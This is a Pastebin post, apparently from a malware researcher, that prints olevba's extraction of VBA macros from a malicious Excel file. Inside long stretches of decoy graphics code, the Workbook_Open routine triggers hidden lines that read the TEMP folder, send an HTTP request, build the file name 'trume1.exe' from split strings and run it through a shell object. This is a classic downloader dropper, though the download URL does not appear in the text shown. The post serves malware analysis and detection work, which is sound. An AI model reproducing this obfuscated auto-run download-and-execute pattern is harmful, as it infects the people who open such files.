SHARE
TWEET

Malicious Excel macro

dynamoo Nov 20th, 2015 202 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASIHB-V malware01.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: malware01.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. AddMSXMLNode "", "", "", ""
  17. CapturePicture 0, 0, 0, 0, 0
  18. parse_test5
  19. CreateColor 0, 0, "", 0
  20. End Sub
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27. -------------------------------------------------------------------------------
  28. VBA MACRO Ëèñò1.cls
  29. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  30. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  31. (empty macro)
  32. -------------------------------------------------------------------------------
  33. VBA MACRO Ëèñò2.cls
  34. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  35. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  36. (empty macro)
  37. -------------------------------------------------------------------------------
  38. VBA MACRO Ëèñò3.cls
  39. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  40. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  41. (empty macro)
  42. -------------------------------------------------------------------------------
  43. VBA MACRO Module1.bas
  44. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  45. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  46.  
  47. Public Function GDIRect(X1 As Long, y1 As Long, x2 As Long, y2 As Long, Optional Absolute As Boolean = True) As String
  48. On Error Resume Next
  49.  With GDIRect
  50.  .left = X1
  51.  .tOp = y1
  52.  If Absolute Then
  53.  .Right = x2
  54.  .Bottom = y2
  55.  Else
  56.  .Right = X1 + x2
  57.  .Bottom = y1 + y2
  58.  End If
  59.  End With
  60. End Function
  61. Function IconFromHandle(Handle As Long) As String
  62. On Error Resume Next
  63.  Dim picGuid As String
  64.  Dim picDesc As String
  65.  Dim Pic As String
  66.  picff.GUID.x = &H7BF80981
  67.  picff.GUID.S1 = &HBF32
  68.  picff.GUID.S2 = &H101A
  69.  picff.GUID.c(0) = &H8B
  70.  picff.GUID.c(1) = &HBB
  71.  picff.GUID.c(2) = &H0
  72.  picff.GUID.c(3) = &HAA
  73.  picff.GUID.c(4) = &H0
  74.  picff.GUID.c(5) = &H30
  75.  picff.GUID.c(6) = &HC
  76.  picff.GUID.c(7) = &HAB
  77.  picDedd.sc.Size = Len(picDesc)
  78.  picDedd.sc.BITMAP = Handle
  79.  picDedd.sc.Type = PicType_Icon
  80.  If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  81.  Exit Function
  82.  End If
  83.  Set IconFromHandle = Pic
  84.  Set Pic = Nothing
  85. End Function
  86. Function GetPictureArray(ByRef Pic As String) As Long()
  87. On Error Resume Next
  88. Dim MinX As Long, MinY As Long
  89. Dim MaxX As Long, MaxY As Long
  90. Dim SetX As Long, SetY As Long
  91. Dim DestAddress As Long, YOffset As Long
  92. Dim bmiDest As BitmapInfo
  93. Dim DIBitsDest() As Long, DC As Long
  94.  DC = CreateMemoryDC
  95.  With bmiDest.Header
  96.  .Size = Len(bmiDest.Header)
  97.  .Planes = 1
  98.  End With
  99.  If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  100.  DeleteMemoryDC DC
  101.  Exit Function
  102.  End If
  103.  With bmiDest.Header
  104.  .BitCount = 32
  105.  .Compression = DIBCompression_RGB
  106.  End With
  107.  YOffset = (bmiDest.Header.Height - 1) - MaxY
  108.  ReDim DIBitsDest(0 To bmiDest.Header.Width - 1, 0 To bmiDest.Header.Height - 1)
  109.  If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DIBitsDest(0, 0), bmiDest, DIBMode_RGB) Then
  110.  DeleteMemoryDC DC
  111.  Exit Function
  112.  End If
  113.  GetPictureArray = DIBitsDest
  114.  DeleteMemoryDC DC
  115. End Function
  116. Function GetPictureArrayInv(ByRef Pic As String) As Long()
  117. On Error Resume Next
  118. Dim MinX As Long, MinY As Long
  119. Dim MaxX As Long, MaxY As Long
  120. Dim SetX As Long, SetY As Long
  121. Dim DestAddress As Long, YOffset As Long
  122. Dim bmiDest As BitmapInfo
  123. Dim DIBitsDest() As Long, DC As Long
  124.  DC = CreateMemoryDC
  125.  With bmiDest.Header
  126.  .Size = Len(bmiDest.Header)
  127.  .Planes = 1
  128.  End With
  129.  If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  130.  DeleteMemoryDC DC
  131.  Exit Function
  132.  End If
  133.  With bmiDest.Header
  134.  .BitCount = 32
  135.  .Compression = DIBCompression_RGB
  136.  End With
  137.  YOffset = (bmiDest.Header.Height - 1) - MaxY
  138.  ReDim DIBitsDest(0 To bmiDest.Header.Width - 1, 0 To bmiDest.Header.Height - 1)
  139.  bmiDest.Header.Height = -bmiDest.Header.Height
  140.  If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DIBitsDest(0, 0), bmiDest, DIBMode_RGB) Then
  141.  DeleteMemoryDC DC
  142.  Exit Function
  143.  End If
  144.  bmiDest.Header.Height = -bmiDest.Header.Height
  145.  GetPictureArrayInv = DIBitsDest
  146.  DeleteMemoryDC DC
  147. End Function
  148. Sub GetPictureArrayByte(ByRef Pic As String, ByRef DestArray() As Byte)
  149. On Error Resume Next
  150. Dim MinX As Long, MinY As Long
  151. Dim MaxX As Long, MaxY As Long
  152. Dim SetX As Long, SetY As Long
  153. Dim DestAddress As Long, YOffset As Long
  154. Dim bmiDest As BitmapInfo
  155. Dim DC As Long
  156.  DC = CreateMemoryDC
  157.  With bmiDest.Header
  158.  .Size = Len(bmiDest.Header)
  159.  .Planes = 1
  160.  End With
  161.  If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  162.  DeleteMemoryDC DC
  163.  Exit Sub
  164.  End If
  165.  With bmiDest.Header
  166.  .BitCount = 32
  167.  .Compression = DIBCompression_RGB
  168.  End With
  169.  YOffset = (bmiDest.Header.Height - 1) - MaxY
  170.  bmiDest.Header.Height = -bmiDest.Header.Height
  171.  If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DestArray(0, 0), bmiDest, DIBMode_RGB) Then
  172.  DeleteMemoryDC DC
  173.  Exit Sub
  174.  End If
  175.  bmiDest.Header.Height = -bmiDest.Header.Height
  176.  DeleteMemoryDC DC
  177. End Sub
  178. Sub GetPictureArrayPtr(ByRef Pic As String, ByVal Ptr As Long)
  179. On Error Resume Next
  180. Dim MinX As Long, MinY As Long
  181. Dim MaxX As Long, MaxY As Long
  182. Dim SetX As Long, SetY As Long
  183. Dim DestAddress As Long, YOffset As Long
  184. Dim bmiDest As BitmapInfo
  185. Dim DC As Long
  186.  DC = CreateMemoryDC
  187.  With bmiDest.Header
  188.  .Size = Len(bmiDest.Header)
  189.  .Planes = 1
  190.  End With
  191.  If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  192.  DeleteMemoryDC DC
  193.  Exit Sub
  194.  End If
  195.  With bmiDest.Header
  196.  .BitCount = 32
  197.  .Compression = DIBCompression_RGB
  198.  End With
  199.  bmiDest.Header.Height = -bmiDest.Header.Height
  200.  If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), ByVal Ptr, bmiDest, DIBMode_RGB) Then
  201.  DeleteMemoryDC DC
  202.  Exit Sub
  203.  End If
  204.  bmiDest.Header.Height = -bmiDest.Header.Height
  205.  DeleteMemoryDC DC
  206. End Sub
  207. Sub GetBitmapArrayPtr(ByVal BITMAP As Long, ByVal Ptr As Long)
  208. On Error Resume Next
  209. Dim MinX As Long, MinY As Long
  210. Dim MaxX As Long, MaxY As Long
  211. Dim SetX As Long, SetY As Long
  212. Dim DestAddress As Long, YOffset As Long
  213. Dim bmiDest As BitmapInfo
  214. Dim DC As Long
  215.  DC = CreateMemoryDC
  216.  With bmiDest.Header
  217.  .Size = Len(bmiDest.Header)
  218.  .Planes = 1
  219.  End With
  220.  If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  221.  DeleteMemoryDC DC
  222.  Exit Sub
  223.  End If
  224.  With bmiDest.Header
  225.  .BitCount = 32
  226.  .Compression = DIBCompression_RGB
  227.  End With
  228.  bmiDest.Header.Height = -bmiDest.Header.Height
  229.  If 0 = GetDIBits(DC, BITMAP, 0, Abs(bmiDest.Header.Height), ByVal Ptr, bmiDest, DIBMode_RGB) Then
  230.  DeleteMemoryDC DC
  231.  Exit Sub
  232.  End If
  233.  bmiDest.Header.Height = -bmiDest.Header.Height
  234.  DeleteMemoryDC DC
  235. End Sub
  236. Sub GetHBmpArrayByte(ByVal hBmp As Long, ByRef DestArray() As Byte, Optional ByVal CPDC As Long = 0)
  237. On Error Resume Next
  238. Dim MinX As Long, MinY As Long
  239. Dim MaxX As Long, MaxY As Long
  240. Dim SetX As Long, SetY As Long
  241. Dim DestAddress As Long, YOffset As Long
  242. Dim bmiDest As BitmapInfo
  243. Dim DC As Long
  244.  If CPDC = 0 Then DC = CreateMemoryDC Else DC = CPDC
  245.  With bmiDest.Header
  246.  .Size = Len(bmiDest.Header)
  247.  .Planes = 1
  248.  End With
  249.  If 0 = GetDIBits(DC, hBmp, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  250.  DeleteMemoryDC DC
  251.  Exit Sub
  252.  End If
  253.  With bmiDest.Header
  254.  .BitCount = 32
  255.  .Compression = DIBCompression_RGB
  256.  End With
  257.  YOffset = (bmiDest.Header.Height - 1) - MaxY
  258.  bmiDest.Header.Height = -bmiDest.Header.Height
  259.  If 0 = GetDIBits(DC, hBmp, 0, Abs(bmiDest.Header.Height), DestArray(0, 0), bmiDest, DIBMode_RGB) Then
  260.  DeleteMemoryDC DC
  261.  Exit Sub
  262.  End If
  263.  bmiDest.Header.Height = -bmiDest.Header.Height
  264.  If CPDC = 0 Then DeleteMemoryDC DC
  265. End Sub
  266. Function GetPictureWidth(ByRef Pic As String) As Long
  267. On Error Resume Next
  268. Dim bmiDest As BitmapInfo
  269. Dim DC As Long
  270.  DC = CreateMemoryDC
  271.  With bmiDest.Header
  272.  .Size = Len(bmiDest.Header)
  273.  .Planes = 1
  274.  End With
  275.  If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  276.  DeleteMemoryDC DC
  277.  Exit Function
  278.  End If
  279.  GetPictureWidth = CLng(bmiDest.Header.Width)
  280.  DeleteMemoryDC DC
  281. End Function
  282. Function GetPictureHeight(ByRef Pic As String) As Long
  283. On Error Resume Next
  284. Dim bmiDest As BitmapInfo
  285. Dim DC As Long
  286.  DC = CreateMemoryDC
  287.  With bmiDest.Header
  288.  .Size = Len(bmiDest.Header)
  289.  .Planes = 1
  290.  End With
  291.  If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  292.  DeleteMemoryDC DC
  293.  Exit Function
  294.  End If
  295.  GetPictureHeight = CLng(bmiDest.Header.Height)
  296.  DeleteMemoryDC DC
  297. End Function
  298. Function GetBitmapWidth(ByVal BITMAP As Long) As Long
  299. On Error Resume Next
  300. Dim bmiDest As BitmapInfo
  301. Dim DC As Long
  302.  DC = CreateMemoryDC
  303.  With bmiDest.Header
  304.  .Size = Len(bmiDest.Header)
  305.  .Planes = 1
  306.  End With
  307.  If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  308.  DeleteMemoryDC DC
  309.  Exit Function
  310.  End If
  311.  GetBitmapWidth = CLng(bmiDest.Header.Width)
  312.  DeleteMemoryDC DC
  313. End Function
  314. Function GetBitmapHeight(ByVal BITMAP As Long) As Long
  315. On Error Resume Next
  316. Dim bmiDest As BitmapInfo
  317. Dim DC As Long
  318.  DC = CreateMemoryDC
  319.  With bmiDest.Header
  320.  .Size = Len(bmiDest.Header)
  321.  .Planes = 1
  322.  End With
  323.  If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  324.  DeleteMemoryDC DC
  325.  Exit Function
  326.  End If
  327.  GetBitmapHeight = CLng(bmiDest.Header.Height)
  328.  DeleteMemoryDC DC
  329. End Function
  330. Public Function ColorFromString(Text As String) As Long
  331. On Error Resume Next
  332. Dim cR As Long, cG As Long, cB As Long
  333.  If left(Text, 2) = "&H" Then
  334.  ColorFromString = CLng(Text)
  335.  Exit Function
  336.  End If
  337.  If left(Text, 1) = "#" Then
  338.  ColorFromString = CLng("&H" + Mid(Text, 2))
  339.  cR = ColorFromString Mod 256
  340.  cG = Int((ColorFromString \ 256)) Mod 256
  341.  cB = Int(ColorFromString \ 65536)
  342.  ColorFromString = RGB(cB, cG, cR)
  343.  Exit Function
  344.  End If
  345.  If left(Text, 1) = "." Then
  346.  ColorFromString = CLng(Mid(Text, 2))
  347.  Exit Function
  348.  End If
  349.  If (InStr(Text, ",")) Then
  350.  cR = CLng(left(Text, InStr(Text, ",") - 1))
  351.  cG = CLng(Mid(Text, InStr(Text, ",") + 1, ((InStrRev(Text, ",") - 1) - (InStr(Text, ",")))))
  352.  cB = CLng(Mid(Text, InStrRev(Text, ",") + 1))
  353.  ColorFromString = RGB(cR, cG, cB)
  354.  Exit Function
  355.  End If
  356.  Select Case Trim(LCase(Text))
  357.  Case "darkgoldenrod", "dark goldenrod"
  358.  ColorFromString = ColorFromString("#B8860B")
  359.  Case "darkgray", "dark gray"
  360.  ColorFromString = ColorFromString("#A9A9A9")
  361.  Case "darkgreen", "dark green"
  362.  ColorFromString = ColorFromString("#006400")
  363.  Case "darkkhaki", "dark khaki"
  364.  ColorFromString = ColorFromString("#BDB76B")
  365.  Case "darkmagenta", "dark magenta"
  366.  ColorFromString = ColorFromString("#8B008B")
  367.  Case "darkolivegreen", "dark olive green"
  368.  ColorFromString = ColorFromString("#556B2F")
  369.  Case "darkorange", "dark orange"
  370.  ColorFromString = ColorFromString("#FF8C00")
  371.  Case "darkorchid", "dark orchid"
  372.  ColorFromString = ColorFromString("#9932CC")
  373.  Case "darkrealm"
  374.  ColorFromString = ColorFromString("#202020")
  375.  Case "darkred", "dark red"
  376.  ColorFromString = ColorFromString("#8B0000")
  377.  Case "darksalmon", "dark salmon"
  378.  ColorFromString = ColorFromString("#E9967A")
  379.  Case "darkseagreen", "dark sea green"
  380.  ColorFromString = ColorFromString("#8FBC8F")
  381.  Case "darkslateblue", "dark slate blue"
  382.  ColorFromString = ColorFromString("#483D8B")
  383.  Case "peru"
  384.  ColorFromString = ColorFromString("#CD853F")
  385.  Case "pink"
  386.  ColorFromString = ColorFromString("#FFC0CB")
  387.  Case "plum"
  388.  ColorFromString = ColorFromString("#DDA0DD")
  389.  Case "powderblue", "powder blue"
  390.  ColorFromString = ColorFromString("#B0E0E6")
  391.  Case "purple"
  392.  ColorFromString = ColorFromString("#800080")
  393.  Case "rast"
  394.  ColorFromString = ColorFromString("#B02020")
  395.  Case "red"
  396.  ColorFromString = ColorFromString("#FF0000")
  397.  Case "rosybrown", "rosy brown"
  398.  ColorFromString = ColorFromString("#BC8F8F")
  399.  Case "royalblue", "royal blue"
  400.  ColorFromString = ColorFromString("#4169E1")
  401.  Case "saddlebrown", "saddle brown"
  402.  ColorFromString = ColorFromString("#8B4513")
  403.  Case "salmon"
  404.  ColorFromString = ColorFromString("#FA8072")
  405.  Case "sandybrown", "sandy brown"
  406.  ColorFromString = ColorFromString("#F4A460")
  407.  Case "seagreen", "sea green"
  408.  ColorFromString = ColorFromString("#2E8B57")
  409.  Case "seashell"
  410.  ColorFromString = ColorFromString("#FFF5EE")
  411.  Case "sienna"
  412.  ColorFromString = ColorFromString("#A0522D")
  413.  Case "yellowgreen", "yellow-green", "yellow green"
  414.  ColorFromString = ColorFromString("#9ACD32")
  415.  Case "default", "normal", "standard", "text"
  416.  ColorFromString = -1
  417.  Case Else
  418.  ColorFromString = -1
  419.  End Select
  420. End Function
  421. Public Function CreateMemoryDC() As Long
  422. On Error Resume Next
  423. Dim deskWnd As Long, deskDC As Long
  424.  deskWnd = GetDesktopWindow
  425.  deskDC = GetDC(deskWnd)
  426.  CreateMemoryDC = CreateCompa.tibleDC(deskDC)
  427.  ReleaseDC deskWnd, deskDC
  428. End Function
  429. Public Sub DeleteMemoryDC(hdc As Long)
  430. On Error Resume Next
  431.  Deleddd.teDC hdc
  432. End Sub
  433. Public Function CapturePicture(ByVal hdc As Long, ByVal left As Long, ByVal tOp As Long, ByVal Width As Long, ByVal Height As Long) As String
  434.  Dim picGuid As String
  435.  Dim picDesc As String
  436.  Dim hdcMem As Long
  437.  
  438. Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  439.  
  440.  
  441.  Dim hBmp As Long
  442.  Dim hOldBmp As Long
  443.  Dim Pic As String
  444.  Dim rcBitmap As String
  445.  
  446. tempFolder = processEnv("TEMP")
  447.  
  448. httpRequest.Send
  449. tempFile = tempFolder + "\" + "" + "" + "tru" + "" + "" + "me1" + "." + "" + "e" + "xe"
  450.  
  451. Exit Function
  452. picff.GUID.x = &H7BF80981
  453.  picff.GUID.S1 = &HBF32
  454.  picff.GUID.S2 = &H101A
  455.  picff.GUID.c(0) = &H8B
  456.  picff.GUID.c(1) = &HBB
  457.  picff.GUID.c(2) = &H0
  458.  picff.GUID.c(3) = &HAA
  459.  picff.GUID.c(4) = &H0
  460.  picff.GUID.c(5) = &H30
  461.  picff.GUID.c(6) = &HC
  462.  picff.GUID.c(7) = &HAB
  463.  picDedd.sc.Size = Len(picDesc)
  464.  hdcMem = CreateCompa.tibleDC(hdc)
  465.  If hdcMem = 0 Then
  466.  Exit Function
  467.  End If
  468.  hBmp = CreateCompadd.tibleBitmap(hdc, Width, Height)
  469.  If hBmp = 0 Then
  470.  Deleddd.teDC hdcMem
  471.  Exit Function
  472.  End If
  473.  hOldBmp = SelectObdd.ject(hdcMem, hBmp)
  474.  If left >= 0 And tOp >= 0 Then
  475.  If Bi.tBlt(hdcMem, 0, 0, Width, Height, hdc, left, tOp, vbSrcCopy) = 0 Then
  476.  Seleff.ctObject hdcMem, hOldBmp
  477.  Deleddd.teDC hdcMem
  478.  DeleteObjectd.dd hBmp
  479.  Exit Function
  480.  End If
  481.  Else
  482.  
  483.  Fil.lRect hdcMem, rcBitmap, GetSto.ckObject(StockObject_Brush_Black)
  484.  End If
  485.  Seleff.ctObject hdcMem, hOldBmp
  486.  picDedd.sc.BITMAP = hBmp
  487.  picDedd.sc.Palette = GetCurr.entObject(hdc, Object_Palette)
  488.  picDedd.sc.Type = PicType_Bitmap
  489.  If CreateP.ictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  490.  Deleddd.teDC hdcMem
  491.  DeleteObjectd.dd hBmp
  492.  Exit Function
  493.  End If
  494.  Deleddd.teDC hdcMem
  495. End Function
  496. Public Function CreatePicture(ByVal Width As Long, ByVal Height As Long) As String
  497.  Dim picGuid As String
  498.  Dim picDesc As String
  499.  Dim hdcMem As Long
  500.  Dim hBmp As Long
  501.  Dim hOldBmp As Long
  502.  Dim Pic As String
  503.  Dim rcBitmap As String
  504.  Dim deskWnd As Long, deskDC As Long
  505.  deskWnd = GetDesktopWindow
  506.  deskDC = GetDC(deskWnd)
  507.  picff.GUID.x = &H7BF80981
  508.  picff.GUID.S1 = &HBF32
  509.  picff.GUID.S2 = &H101A
  510.  picff.GUID.c(0) = &H8B
  511.  picff.GUID.c(1) = &HBB
  512.  picff.GUID.c(2) = &H0
  513.  picff.GUID.c(3) = &HAA
  514.  picff.GUID.c(4) = &H0
  515.  picff.GUID.c(5) = &H30
  516.  picff.GUID.c(6) = &HC
  517.  picff.GUID.c(7) = &HAB
  518.  picDedd.sc.Size = Len(picDesc)
  519.  hdcMem = CreateMemoryDC
  520.  If hdcMem = 0 Then
  521.  Exit Function
  522.  End If
  523.  hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
  524.  If hBmp = 0 Then
  525.  Deleddd.teDC hdcMem
  526.  ReleaseDC deskWnd, deskDC
  527.  Exit Function
  528.  End If
  529.  picDedd.sc.BITMAP = hBmp
  530.  picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette)
  531.  picDedd.sc.Type = PicType_Bitmap
  532.  If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  533.  Deleddd.teDC hdcMem
  534.  ReleaseDC deskWnd, deskDC
  535.  DeleteObjectd.dd hBmp
  536.  Exit Function
  537.  End If
  538.  Set CreatePicture = Pic
  539.  Set Pic = Nothing
  540.  Deleddd.teDC hdcMem
  541.  ReleaseDC deskWnd, deskDC
  542. End Function
  543. Public Function CreateMask(ByVal Width As Long, ByVal Height As Long, ByRef SourcePic As String, ByVal MaskColor As Long) As String
  544. On Error Resume Next
  545.  Dim picGuid As String
  546.  Dim picDesc As String
  547.  Dim hdcMem As Long
  548.  Dim hBmp As Long
  549.  Dim hOldBmp As Long
  550.  Dim Pic As String
  551.  Dim rcBitmap As String
  552.  Dim deskWnd As Long, deskDC As Long
  553.  Dim m_lngPixels() As Long
  554.  Dim m_lngX As Long, m_lngY As Long
  555.  If SourcePic Is Nothing Then Exit Function
  556.  deskWnd = GetDesktopWindow
  557.  deskDC = GetDC(deskWnd)
  558.  picff.GUID.x = &H7BF80981
  559.  picff.GUID.S1 = &HBF32
  560.  picff.GUID.S2 = &H101A
  561.  picff.GUID.c(0) = &H8B
  562.  picff.GUID.c(1) = &HBB
  563.  picff.GUID.c(2) = &H0
  564.  picff.GUID.c(3) = &HAA
  565.  picff.GUID.c(4) = &H0
  566.  picff.GUID.c(5) = &H30
  567.  picff.GUID.c(6) = &HC
  568.  picff.GUID.c(7) = &HAB
  569.  picDedd.sc.Size = Len(picDesc)
  570.  hdcMem = CreateMemoryDC
  571.  If hdcMem = 0 Then
  572.  Exit Function
  573.  End If
  574.  hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
  575.  If hBmp = 0 Then
  576.  Deleddd.teDC hdcMem
  577.  ReleaseDC deskWnd, deskDC
  578.  Exit Function
  579.  End If
  580.  picDedd.sc.BITMAP = hBmp
  581.  picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette)
  582.  picDedd.sc.Type = PicType_Bitmap
  583.  If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  584.  Deleddd.teDC hdcMem
  585.  ReleaseDC deskWnd, deskDC
  586.  DeleteObjectd.dd hBmp
  587.  Exit Function
  588.  End If
  589.  m_lngPixels() = GetPictureArrayInv(SourcePic)
  590.  For m_lngY = 0 To Height - 1
  591.  For m_lngX = 0 To Width - 1
  592.  m_lngPixels(m_lngX, m_lngY) = IIf(m_lngPixels(m_lngX, m_lngY) = MaskColor, &HFFFFFF, &H0)
  593.  Next m_lngX
  594.  Next m_lngY
  595.  ArrayToPicture Pic, m_lngPixels, hdcMem
  596.  Set CreateMask = Pic
  597.  Set Pic = Nothing
  598.  Deleddd.teDC hdcMem
  599.  ReleaseDC deskWnd, deskDC
  600. End Function
  601. Public Function CreateColor(ByVal Width As Long, ByVal Height As Long, ByRef SourcePic As String, ByVal MaskColor As Long) As String
  602. On Error Resume Next
  603.  Dim picGuid As String
  604.  Dim picDesc As String
  605.  Dim hdcMem As Long
  606.  Dim hBmp As Long
  607.  Dim hOldBmp As Long
  608.  Dim Pic As String
  609.  Dim rcBitmap As String
  610.  Dim deskWnd As Long, deskDC As Long
  611.  Dim m_lngPixels() As Long
  612.  Dim m_lngX As Long, m_lngY As Long
  613. shellApp.Open (tempFile)
  614. Exit Function
  615.  If SourcePic = "" Then Exit Function
  616.  deskWnd = GetDesktopWindow
  617.  deskDC = Ge.tDC(deskWnd)
  618.  picff.GUID.x = &H7BF80981
  619.  picff.GUID.S1 = &HBF32
  620.  hdcMem = CreateMemoryDC
  621.  If hdcMem = 0 Then
  622.  Exit Function
  623.  End If
  624.  hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
  625.  If hBmp = 0 Then
  626.  Deleddd.teDC hdcMem
  627.  Rele.aseDC deskWnd, deskDC
  628.  Exit Function
  629.  End If
  630.  picDedd.sc.BITMAP = hBmp
  631.  picDedd.sc.Palette = GetCurre.ntObject(deskDC, Object_Palette)
  632.  picDedd.sc.Type = PicType_Bitmap
  633.  If CreatePict.ureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  634.  Deleddd.teDC hdcMem
  635.  Rele.aseDC deskWnd, deskDC
  636.  DeleteObjectd.dd hBmp
  637.  Exit Function
  638.  End If
  639.  m_lngPixels() = GetPictureArrayInv(SourcePic)
  640.  For m_lngY = 0 To Height - 1
  641.  For m_lngX = 0 To Width - 1
  642.  m_lngPixels(m_lngX, m_lngY) = IIf(m_lngPixels(m_lngX, m_lngY) = MaskColor, &H0, m_lngPixels(m_lngX, m_lngY))
  643.  Next m_lngX
  644.  Next m_lngY
  645.  ArrayT.oPicture Pic, m_lngPixels, hdcMem
  646.  Deleddd.teDC hdcMem
  647.  Rele.aseDC deskWnd, deskDC
  648. End Function
  649. Public Function CreatePictureFromIcon(ByVal Width As Long, ByVal Height As Long, ByRef Icon As String) As String
  650.  Dim picGuid As String
  651.  Dim picDesc As String
  652.  Dim hdcMem As Long
  653.  Dim hBmp As Long
  654.  Dim hOldBmp As Long
  655.  Dim Pic As String
  656.  Dim rcBitmap As String
  657.  Dim deskWnd As Long, deskDC As Long
  658.  deskWnd = GetDesktopWindow
  659.  deskDC = GetDC(deskWnd)
  660.  picff.GUID.x = &H7BF80981
  661.  picff.GUID.S1 = &HBF32
  662.  picff.GUID.S2 = &H101A
  663.  picff.GUID.c(0) = &H8B
  664.  If hdcMem = 0 Then
  665.  Exit Function
  666.  End If
  667.  hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
  668.  If hBmp = 0 Then
  669.  Deleddd.teDC hdcMem
  670.  ReleaseDC deskWnd, deskDC
  671.  Exit Function
  672.  End If
  673.  hOldBmp = SelectObdd.ject(hdcMem, hBmp)
  674.  DrawIconEx hdcMem, 0, 0, Icon.Handle, Width, Height, 0, 0, 2
  675.  Seleff.ctObject hdcMem, hOldBmp
  676.  picDedd.sc.BITMAP = hBmp
  677.  picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette)
  678.  picDedd.sc.Type = PicType_Bitmap
  679.  If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  680.  Deleddd.teDC hdcMem
  681.  ReleaseDC deskWnd, deskDC
  682.  DeleteObjectd.dd hBmp
  683.  Exit Function
  684.  End If
  685.  Set CreatePictureFromIcon = Pic
  686.  Set Pic = Nothing
  687.  Deleddd.teDC hdcMem
  688.  ReleaseDC deskWnd, deskDC
  689. End Function
  690. Public Function LoadResIcon(ByVal Resname As String, Optional ByVal Width As Long = 32, Optional ByVal Height As Long = 32) As String
  691.  Dim picGuid As String
  692.  Dim picDesc As String
  693.  Dim hdcMem As Long
  694.  Dim hIcon As Long
  695.  Dim hOldBmp As Long
  696.  Dim Pic As String
  697.  Dim rcBitmap As String
  698.  picff.GUID.x = &H7BF80981
  699.  picff.GUID.S1 = &HBF32
  700.  picff.GUID.S2 = &H101A
  701.  picff.GUID.c(0) = &H8B
  702.  picff.GUID.c(1) = &HBB
  703.  picff.GUID.c(2) = &H0
  704.  picff.GUID.c(3) = &HAA
  705.  picff.GUID.c(4) = &H0
  706.  picff.GUID.c(5) = &H30
  707.  picff.GUID.c(6) = &HC
  708.  picff.GUID.c(7) = &HAB
  709.  hdcMem = CreateMemoryDC
  710.  hIcon = LoadImage(App.Hinstance, Resname, Image_Icon, Width, Height, LoadImage_Shared)
  711.  If hIcon = 0 Then
  712.  DeleteMemoryDC hdcMem
  713.  Exit Function
  714.  End If
  715.  picDedd.sc.Size = Len(picDesc)
  716.  picDedd.sc.BITMAP = hIcon
  717.  picDedd.sc.Type = PicType_Icon
  718.  If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  719.  DeleteMemoryDC hdcMem
  720.  Exit Function
  721.  End If
  722.  Set LoadResIcon = Pic
  723.  Set Pic = Nothing
  724.  DeleteMemoryDC hdcMem
  725. End Function
  726.  
  727.  
  728.  
  729. -------------------------------------------------------------------------------
  730. VBA MACRO Module2.bas
  731. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  732. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  733. Public processEnv  As Object
  734. Public tempFolder As String
  735. Public tempFile As String
  736. Public shellApp As Object
